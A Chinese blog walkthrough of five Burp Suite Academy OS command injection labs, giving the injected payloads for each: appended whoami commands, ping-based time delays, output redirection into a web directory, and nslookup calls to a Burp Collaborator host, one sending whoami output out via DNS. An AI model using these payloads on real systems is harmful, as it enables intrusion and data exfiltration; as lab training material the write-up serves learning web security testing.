BurpSuit官方实验室之命令注入

这是BurpSuit官方的实验室靶场，以下将记录个人命令注入共5个Lab的通关过程

OS command injection, simple case

操作系统命令注入，简单情况

找到了product/stock接口

在参数后加;whoami或者|whoami
在这里插入图片描述

Blind OS command injection with time delays

具有时间延迟的盲操作系统命令注入

有一个反馈界面

在这里插入图片描述

点击提交反馈，发送如下请求包

在这里插入图片描述

在email后加入||ping+-c+10+127.0.0.1||延迟10s
在这里插入图片描述

Blind OS command injection with output redirection

带输出重定向的盲操作系统命令注入

还是反馈页面，这次是重定向

email中加入||whoami>/var/www/images/tpa1.txt||

在这里插入图片描述

访问如下静态页面

在这里插入图片描述

成功获得whoami

在这里插入图片描述

Blind OS command injection with out-of-band interaction

带外交互的盲操作系统命令注入

开启 Burp Collaborator

emai后加||nslookup+i1kvr4nt6vbxx0nevocnxy2qmhs8gx.burpcollaborator.net||DNS地址

在这里插入图片描述

Blind OS command injection with out-of-band data exfiltration

带外数据渗透的盲目操作系统命令注入

email加||nslookup+whoami.ek2qiy6xgp12mh15lgrgk8m85zbpze.burpcollaborator.net||

注意whoami左右要加`
在这里插入图片描述

相关阅读:
jpsall脚本
【博学谷学习记录】超强总结，用心分享|SSH免密登录|附带自动脚本
【日拱一卒行而不辍20220920】自制操作系统
Seata(1.4.2)环境搭建-SpringCloudAlibaba微服务
IT行业职场走向，哪些方向更有就业前景？——IT行业的发展现状及趋势探析
MySQL学习笔记
C++ 带你吃透string容器的使用
基于MRF和CNN的图像生成
（10）在以下横线处写出使用v_stu_m视图查询总学分大于10的学生的查询语句，查询果如图9.12所示。
SAP 电商云 Spartacus 服务器端渲染的单步调试详细步骤

原文地址：https://blog.csdn.net/qq_18980147/article/details/127851356